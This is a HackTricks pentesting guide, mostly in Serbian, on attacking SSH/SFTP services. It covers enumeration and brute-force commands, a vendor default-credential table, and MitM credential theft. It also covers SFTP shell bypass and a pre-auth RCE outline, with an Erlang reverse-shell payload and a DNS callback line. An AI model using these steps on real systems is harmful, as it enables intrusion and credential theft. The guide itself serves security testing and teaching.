22 - Pentesting SSH/SFTP
Reading time: 16 minutes
tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Osnovne informacije
SSH (Secure Shell or Secure Socket Shell) je mrežni protokol koji omogućava sigurnu vezu sa računarom preko nesigurne mreže. Neophodan je za održavanje poverljivosti i integriteta podataka prilikom pristupa udaljenim sistemima.
Podrazumevani port: 22
22/tcp open ssh syn-ack
SSH serveri:
- openSSH – OpenBSD SSH, dolazi u BSD, Linux distribucijama i Windows-u od Windows 10
- Dropbear – SSH implementacija za okruženja sa ograničenom memorijom i procesorskim resursima, uključena u OpenWrt
- PuTTY – SSH implementacija za Windows; klijent se često koristi, dok je upotreba servera ređa
- CopSSH – implementacija OpenSSH za Windows
SSH biblioteke (implementing server-side):
- libssh – višeplatformska C biblioteka koja implementira SSHv2 protokol sa binding-ima za Python, Perl i R; koristi je KDE za sftp i GitHub za git SSH infrastrukturu
- wolfSSH – SSHv2 serverska biblioteka napisana u ANSI C i namenjena ugradnim sistemima, RTOS-ovima i okruženjima sa ograničenim resursima
- Apache MINA SSHD – Apache SSHD Java biblioteka zasnovana je na Apache MINA
- paramiko – Python biblioteka za SSHv2 protokol
Enumeration
Banner Grabbing
nc -vn <IP> 22
Automatizovani ssh-audit
ssh-audit je alat za proveru konfiguracije SSH servera i klijenata.
https://github.com/jtesta/ssh-audit je ažurirani fork od https://github.com/arthepsy/ssh-audit/
Mogućnosti:
- Podrška za SSH1 i SSH2 protokole na serveru;
- analiza konfiguracije SSH klijenta;
- preuzimanje bannera, prepoznavanje uređaja ili softvera i operativnog sistema, otkrivanje kompresije;
- prikupljanje algoritama za key-exchange, host-key, encryption i message authentication code;
- izlazne informacije o algoritmima (dostupno od, uklonjeno/onemogućeno, nebezbedno/slabo/zastarelo, itd);
- preporuke za algoritme (dodati ili ukloniti u zavisnosti od prepoznate verzije softvera);
- izlazne bezbednosne informacije (povezani problemi, dodeljena lista CVE, itd);
- analiza kompatibilnosti SSH verzija na osnovu informacija o algoritmima;
- istorijske informacije iz OpenSSH, Dropbear SSH i libssh;
- radi na Linuxu i Windowsu;
- bez zavisnosti
usage: ssh-audit.py [-1246pbcnjvlt] <host>
-1, --ssh1 force ssh version 1 only
-2, --ssh2 force ssh version 2 only
-4, --ipv4 enable IPv4 (order of precedence)
-6, --ipv6 enable IPv6 (order of precedence)
-p, --port=<port> port to connect
-b, --batch batch output
-c, --client-audit starts a server on port 2222 to audit client
software config (use -p to change port;
use -t to change timeout)
-n, --no-colors disable colors
-j, --json JSON output
-v, --verbose verbose output
-l, --level=<level> minimum output level (info|warn|fail)
-t, --timeout=<secs> timeout (in seconds) for connection and reading
(default: 5)
$ python3 ssh-audit <IP>
Pogledajte to u akciji (Asciinema)
Javni SSH ključ servera
ssh-keyscan -t rsa <IP> -p <PORT>
Slabi šifarski algoritmi
Ovo se podrazumevano otkriva pomoću nmap. Možete takođe koristiti sslcan ili sslyze.
Nmap skripte
nmap -p22 <ip> -sC # Send default nmap scripts for SSH
nmap -p22 <ip> -sV # Retrieve version
nmap -p22 <ip> --script ssh2-enum-algos # Retrieve supported algorythms
nmap -p22 <ip> --script ssh-hostkey --script-args ssh_hostkey=full # Retrieve weak keys
nmap -p22 <ip> --script ssh-auth-methods --script-args="ssh.user=root" # Check authentication methods
Shodan
ssh
Brute force usernames, passwords and private keys
Username Enumeration
U nekim verzijama OpenSSH moguće je izvesti timing attack kako bi se enumerate users. Možete koristiti metasploit module kako biste iskoristili ovo:
msf> use scanner/ssh/ssh_enumusers
Brute force
Neki uobičajeni ssh credentials here and here i ispod.
Private Key Brute Force
Ako znate neke ssh private keys koje bi se mogle koristiti... hajde da pokušamo. Možete koristiti nmap script:
https://nmap.org/nsedoc/scripts/ssh-publickey-acceptance.html
Ili MSF pomoćni modul:
msf> use scanner/ssh/ssh_identify_pubkeys
Ili koristite ssh-keybrute.py (nativan python3, lagan i ima omogućene legacy algoritme): snowdroppe/ssh-keybrute.
Poznati badkeys se mogu naći ovde:
ssh-badkeys/authorized at master \xc2\xb7 rapid7/ssh-badkeys \xc2\xb7 GitHub
Slabi SSH ključevi / Debian predvidljiv PRNG
Neki sistemi imaju poznate propuste u random seed-u koji se koristi za generisanje kriptografskog materijala. To može dovesti do drastično smanjenog keyspace-a koji se može bruteforce-ovati. Pre-generisani setovi ključeva generisani na Debian sistemima pogođenim slabim PRNG-om dostupni su ovde: g0tmi1k/debian-ssh.
Treba da pogledate ovde kako biste potražili validne ključeve za ciljnu mašinu.
Kerberos / GSSAPI SSO
Ako ciljni SSH server podržava GSSAPI (na primer Windows OpenSSH na domain controller-u), možete se autentifikovati koristeći svoj Kerberos TGT umesto lozinke.
Workflow from a Linux attacker host:
# 1) Ensure time is in sync with the KDC to avoid KRB_AP_ERR_SKEW
sudo ntpdate <dc.fqdn>
# 2) Generate a krb5.conf for the target realm (optional, but handy)
netexec smb <dc.fqdn> -u <user> -p '<pass>' -k --generate-krb5-file krb5.conf
sudo cp krb5.conf /etc/krb5.conf
# 3) Obtain a TGT for the user
kinit <user>
klist
# 4) SSH with GSSAPI, using the FQDN that matches the host SPN
ssh -o GSSAPIAuthentication=yes <user>@<host.fqdn>
Napomene:
- Ako se povežete na pogrešno ime (npr. kratko ime hosta, alias, ili pogrešan redosled u
/etc/hosts), možete dobiti: "Server not found in Kerberos database" jer SPN ne odgovara. crackmapexec ssh --kerberostakođe može koristiti vaš ccache za Kerberos autentifikaciju.
Podrazumevani kredencijali
| Proizvođač | Korisnička imena | Lozinke |
|---|---|---|
| APC | apc, device | apc |
| Brocade | admin | admin123, password, brocade, fibranne |
| Cisco | admin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladmin | admin, Admin123, default, password, secur4u, cisco, Cisco, _Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme |
| Citrix | root, nsroot, nsmaint, vdiadmin, kvm, cli, admin | C1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, public, rootadmin, wanscaler |
| D-Link | admin, user | private, admin, user |
| Dell | root, user1, admin, vkernel, cli | calvin, 123456, password, vkernel, Stor@ge!, admin |
| EMC | admin, root, sysadmin | EMCPMAdm7n, Password#1, Password123#, sysadmin, changeme, emc |
| HP/3Com | admin, root, vcx, app, spvar, manage, hpsupport, opc_op | admin, password, hpinvent, iMC123, pvadmin, passw0rd, besgroup, vcx, nice, access, config, 3V@rpar, 3V#rpar, procurve, badg3r5, OpC_op, !manage, !admin |
| Huawei | admin, root | 123456, admin, root, Admin123, Admin@storage, Huawei12#$, HwDec@01, hwosta2.0, HuaWei123, fsp200@HW, huawei123 |
| IBM | USERID, admin, manager, mqm, db2inst1, db2fenc1, dausr1, db2admin, iadmin, system, device, ufmcli, customer | PASSW0RD, passw0rd, admin, password, Passw8rd, iadmin, apc, 123456, cust0mer |
| Juniper | netscreen | netscreen |
| NetApp | admin | netapp123 |
| Oracle | root, oracle, oravis, applvis, ilom-admin, ilom-operator, nm2user | changeme, ilom-admin, ilom-operator, welcome1, oracle |
| VMware | vi-admin, root, hqadmin, vmware, admin | vmware, vmw@re, hqadmin, default |
SSH-MitM
Ako se nalazite u lokalnoj mreži u kojoj će se žrtva povezati na SSH server koristeći korisničko ime i lozinku, možete pokušati da izvršite MitM attack kako biste ukrali te kredencijale:
Tok napada:
- Preusmeravanje saobraćaja: Napadač preusmerava saobraćaj žrtve na svoju mašinu, efektivno presrećući pokušaj konekcije ka SSH serveru.
- Presretanje i beleženje: Napadačeva mašina deluje kao proxy, hvatajući podatke za prijavu korisnika pretvarajući se da je legitimni SSH server.
- Izvršenje komandi i prosleđivanje: Na kraju, napadačev server zabeleži korisničke kredencijale, prosledi komande pravom SSH serveru, izvrši ih i pošalje rezultate nazad korisniku, čineći proces neprimetnim i legitimnim.
SSH MITM radi upravo ono što je gore opisano.
Da biste izvršili stvarni MitM i uhvatili podatke, možete koristiti tehnike poput ARP spoofing, DNS spoofing ili drugih opisanih u Network Spoofing attacks.
SSH-Snake
Ako želite da prolazite kroz mrežu koristeći otkrivene SSH privatne ključeve na sistemima, koristeći svaki privatni ključ na svakom sistemu za pristup novim hostovima, onda je SSH-Snake ono što vam treba.
SSH-Snake automatski i rekurzivno obavlja sledeće zadatke:
- Na trenutnom sistemu pronađe sve SSH privatne ključeve,
- Na trenutnom sistemu pronađe sve hostove ili destinacije (user@host) na kojima bi privatni ključevi mogli biti prihvaćeni,
- Pokuša da se poveže putem SSH-a na sve destinacije koristeći sve otkrivene privatne ključeve,
- Ako je destinacija uspešno povezana, ponavlja korake #1 - #4 na povezanom sistemu.
Potpuno je samoreplicirajući i samopropagirajući -- i potpuno fileless.
Greške u konfiguraciji
Prijava kao root
Često SSH serveri podrazumevano dozvoljavaju prijavu root korisnika, što predstavlja značajan bezbednosni rizik. Onemogućavanje prijave root korisnika je kritičan korak u zaštiti servera. Neovlašćeni pristup sa administratorskim privilegijama i brute force napadi mogu se ublažiti ovom promenom.
Za onemogućavanje prijave root korisnika u OpenSSH:
- Uredite SSH konfiguracioni fajl sa:
sudoedit /etc/ssh/sshd_config - Promenite podešavanje sa
#PermitRootLogin yesnaPermitRootLogin no. - Ponovo učitajte konfiguraciju koristeći:
sudo systemctl daemon-reload - Restartujte SSH server da biste primenili izmene:
sudo systemctl restart sshd
SFTP Brute Force
SFTP command execution
Postoji uobičajena propust u SFTP podešavanjima, gde administratori nameravaju da korisnici razmenjuju fajlove bez omogućavanja udaljenog shell pristupa. Iako su korisnicima dodeljeni non-interactive shells (npr. /usr/bin/nologin) i ograničeni na određeni direktorijum, bezbednosna rupa i dalje postoji. Korisnici mogu zaobići ova ograničenja tako što će zatražiti izvršenje komande (kao što je /bin/bash) odmah nakon prijave, pre nego što njihov dodeljeni non-interactive shell stupi na snagu. Ovo omogućava neovlašćeno izvršenje komandi, potkopavajući nameravane mere bezbednosti.
ssh -v noraj@192.168.1.94 id
...
Password:
debug1: Authentication succeeded (keyboard-interactive).
Authenticated to 192.168.1.94 ([192.168.1.94]:22).
debug1: channel 0: new [client-session]
debug1: Requesting no-more-sessions@openssh.com
debug1: Entering interactive session.
debug1: pledge: network
debug1: client_input_global_request: rtype hostkeys-00@openssh.com want_reply 0
debug1: Sending command: id
debug1: client_input_channel_req: channel 0 rtype exit-status reply 0
debug1: client_input_channel_req: channel 0 rtype eow@openssh.com reply 0
uid=1000(noraj) gid=100(users) groups=100(users)
debug1: channel 0: free: client-session, nchannels 1
Transferred: sent 2412, received 2480 bytes, in 0.1 seconds
Bytes per second: sent 43133.4, received 44349.5
debug1: Exit status 0
$ ssh noraj@192.168.1.94 /bin/bash
Evo primera bezbedne SFTP konfiguracije (/etc/ssh/sshd_config – openSSH) za korisnika noraj:
Match User noraj
ChrootDirectory %h
ForceCommand internal-sftp
AllowTcpForwarding no
PermitTunnel no
X11Forwarding no
PermitTTY no
Ova konfiguracija će dozvoliti samo SFTP: onemogućavanjem shell pristupa prisiljavanjem start command-a i onemogućavanjem TTY pristupa, ali takođe onemogućavajući sve vrste port forwarding ili tunneling.
SFTP Tunneling
Ako imate pristup SFTP serveru, možete takođe tunnel-ovati svoj saobraćaj kroz njega, na primer koristeći uobičajeni port forwarding:
sudo ssh -L <local_port>:<remote_host>:<remote_port> -N -f <username>@<ip_compromised>
SFTP Symlink
sftp ima komandu "symlink". Dakle, ako imate prava za pisanje u nekom direktorijumu, možete kreirati symlinks ka drugim direktorijumima/fajlovima. Pošto ste verovatno zarobljeni unutar chroot-a, ovo neće biti naročito korisno za vas, ali, ako možete pristupiti kreiranom symlink iz no-chroot service (na primer, ako možete pristupiti symlink-u sa web-a), mogli biste otvoriti symlinkovane fajlove preko web-a.
Na primer, da biste kreirali symlink iz novog fajla "froot" u "/":
sftp> symlink / froot
Ako možete da pristupite fajlu "froot" preko weba, bićete u mogućnosti da izlistate root ("/") direktorijum sistema.
Metode autentifikacije
U okruženjima visokog nivoa bezbednosti uobičajena je praksa omogućiti samo autentifikaciju zasnovanu na ključu ili dvofaktorsku autentifikaciju umesto jednostruke autentifikacije zasnovane na lozinki. Međutim, često se jače metode autentifikacije omoguće bez onemogućavanja slabijih. Čest slučaj je omogućavanje publickey u openSSH konfiguraciji i postavljanje kao podrazumevane metode, ali ne onemogućavanje password. Dakle, korišćenjem verbose moda SSH klijenta napadač može videti da je slabija metoda omogućena:
ssh -v 192.168.1.94
OpenSSH_8.1p1, OpenSSL 1.1.1d 10 Sep 2019
...
debug1: Authentications that can continue: publickey,password,keyboard-interactive
Na primer, ako je postavljen limit neuspelih pokušaja autentikacije i nikada ne stignete do password metode, možete koristiti opciju PreferredAuthentications да приморате коришћење те методе.
ssh -v 192.168.1.94 -o PreferredAuthentications=password
...
debug1: Next authentication method: password
Potrebno je pregledati konfiguraciju SSH servera kako bi se proverilo da su dozvoljene samo očekivane metode. Korišćenje verbose moda na klijentu može pomoći da se uvidi efikasnost konfiguracije.
Konfiguracioni fajlovi
ssh_config
sshd_config
authorized_keys
ssh_known_hosts
known_hosts
id_rsa
Fuzzing
- https://packetstormsecurity.com/files/download/71252/sshfuzz.txt
- https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2
Authentication State-Machine Bypass (Pre-Auth RCE)
Several SSH server implementations contain logic flaws in the authentication finite-state machine that allow a client to send connection-protocol messages before authentication has finished. Because the server fails to verify that it is in the correct state, those messages are handled as if the user were fully authenticated, leading to unauthenticated code execution or session creation.
At a protocol level any SSH message with a message code ≥ 80 (0x50) belongs to the connection layer (RFC 4254) and must only be accepted after successful authentication (RFC 4252). If the server processes one of those messages while still in the SSH_AUTHENTICATION state, the attacker can immediately create a channel and request actions such as command execution, port-forwarding, etc.
Generički koraci eksploatacije
- Uspostavite TCP konekciju na ciljni SSH port (obično 22, ali drugi servisi mogu izlagati Erlang/OTP na 2022, 830, 2222…).
- Sastavite raw SSH paket:
- 4-byte packet_length (big-endian)
- 1-byte message_code ≥ 80 (npr.
SSH_MSG_CHANNEL_OPEN= 90,SSH_MSG_CHANNEL_REQUEST= 98) - Payload koji će biti interpretiran od strane izabranog tipa poruke
- Pošaljite paket(e) pre nego što kompletirate bilo koji korak autentifikacije.
- Interagujte sa server API-jem koji su sada izloženi pre-auth (izvršavanje komandi, port-forwarding, pristup fajl-sistemu, …).
Python proof-of-concept outline:
import socket, struct
HOST, PORT = '10.10.10.10', 22
s = socket.create_connection((HOST, PORT))
# skip version exchange for brevity – send your own client banner then read server banner
# … key exchange can be skipped on vulnerable Erlang/OTP because the bug is hit immediately after the banner
# Packet: len(1)=1, SSH_MSG_CHANNEL_OPEN (90)
pkt = struct.pack('>I', 1) + b'\x5a' # 0x5a = 90
s.sendall(pkt)
# additional CHANNEL_REQUEST packets can follow to run commands
U praksi ćete morati da izvršite (ili preskočite) key-exchange u zavisnosti od implementacije mete, ali no authentication nikada nije obavljena.
Erlang/OTP sshd (CVE-2025-32433)
- Pogođene verzije: OTP < 27.3.3, 26.2.5.11, 25.3.2.20
- Root cause: Erlang native SSH daemon ne validira trenutni state pre nego što pozove
ssh_connection:handle_msg/2. Dakle, bilo koji paket sa message code 80-255 stiže do connection handler-a dok je sesija i dalje u userauth state-u. - Impact: unauthenticated remote code execution (daemon obično radi kao root na embedded/OT uređajima).
Primer payload-a koji pokreće reverse shell vezan za attacker-controlled channel:
% open a channel first … then:
execSinet:cmd(Channel, "exec('/bin/sh', ['-i'], [{fd, Channel#channel.fd}, {pid, true}]).").
Blind RCE / out-of-band detection može se izvršiti preko DNS:
execSinet:gethostbyname("<random>.dns.outbound.watchtowr.com").Zsession
Detekcija i ublažavanje:
- Pregledajte SSH saobraćaj: odbacite svaki paket sa kodom poruke ≥ 80 koji je uočen pre autentifikacije.
- Ažurirajte Erlang/OTP na 27.3.3 / 26.2.5.11 / 25.3.2.20 ili noviju verziju.
- Ograničite izloženost portova za upravljanje (22/2022/830/2222) – posebno na OT opremi.
Ostale pogođene implementacije
- libssh 0.6 – 0.8 (na strani servera) – CVE-2018-10933 – prihvata neautentifikovani
SSH_MSG_USERAUTH_SUCCESSposlat od klijenta, što je efektivno obrnuta logička greška.
Opšta lekcija je da svako odstupanje od RFC-om propisanih prelaza stanja može biti fatalno; pri pregledanju ili fuzzingu SSH daemona posebno obratite pažnju na state-machine enforcement.
References
- Unit 42 – Erlang/OTP SSH CVE-2025-32433
- SSH hardening guides
- Turgensec SSH hacking guide
- Pentesting Kerberos (88) – client setup and troubleshooting
- 0xdf – HTB: TheFrizz
HackTricks automatske komande
Protocol_Name: SSH
Port_Number: 22
Protocol_Description: Secure Shell Hardening
Entry_1:
Name: Hydra Brute Force
Description: Need Username
Command: hydra -v -V -u -l {Username} -P {Big_Passwordlist} -t 1 {IP} ssh
Entry_2:
Name: consolesless mfs enumeration
Description: SSH enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/ssh/ssh_version; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use scanner/ssh/ssh_enumusers; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ssh/juniper_backdoor; set RHOSTS {IP}; set RPORT 22; run; exit'
tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
HackTricks